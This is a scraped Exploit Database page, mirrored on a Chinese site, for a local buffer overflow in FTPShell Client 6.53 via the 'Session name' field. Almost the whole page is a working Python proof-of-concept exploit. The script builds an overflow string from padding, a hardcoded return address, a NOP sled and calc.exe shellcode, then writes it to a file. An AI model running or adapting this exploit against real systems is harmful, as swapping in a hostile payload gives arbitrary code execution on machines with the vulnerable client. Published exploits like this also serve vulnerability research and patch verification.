FTPShell Client 6.53 – ‘Session name’ Local Buffer Overflow

• Exploit Database
• 109 阅读

• 作者： ScrR1pTK1dd13
  日期： 2017-03-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41629/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

  print '''   ############################################## #Created: ScrR1pTK1dd13# #Name: Greg Priest # #Mail: ScrR1pTK1dd13.slammer@gmail.com # ##############################################   # Exploit Title: FTPShell Client 6.53 Session name BufferOverflow # Date: 2017.03.17 # Exploit Author: Greg Priest # Version: FTPShell Client 6.53 # Tested on: Windows7 x64 HUN/ENG Professional '''     a = "A" * 460 b = '\xDC\xE8\x65\x76' nop = '\x90' * 10 c = "C" * 1638   #calc.exe shellcode =( "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" + "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" + "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" + "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" + "\x57\x78\x01\xc2\x8b\x7a\x20\x01" + "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" + "\x45\x81\x3e\x43\x72\x65\x61\x75" + "\xf2\x81\x7e\x08\x6f\x63\x65\x73" + "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" + "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" + "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" + "\xb1\xff\x53\xe2\xfd\x68\x63\x61" + "\x6c\x63\x89\xe2\x52\x52\x53\x53" + "\x53\x53\x53\x53\x52\x53\xff\xd7")   evilstring = a+b+nop+shellcode+c     file = open ('evilstring.txt', "w") file.write(evilstring) file.close   print evilstring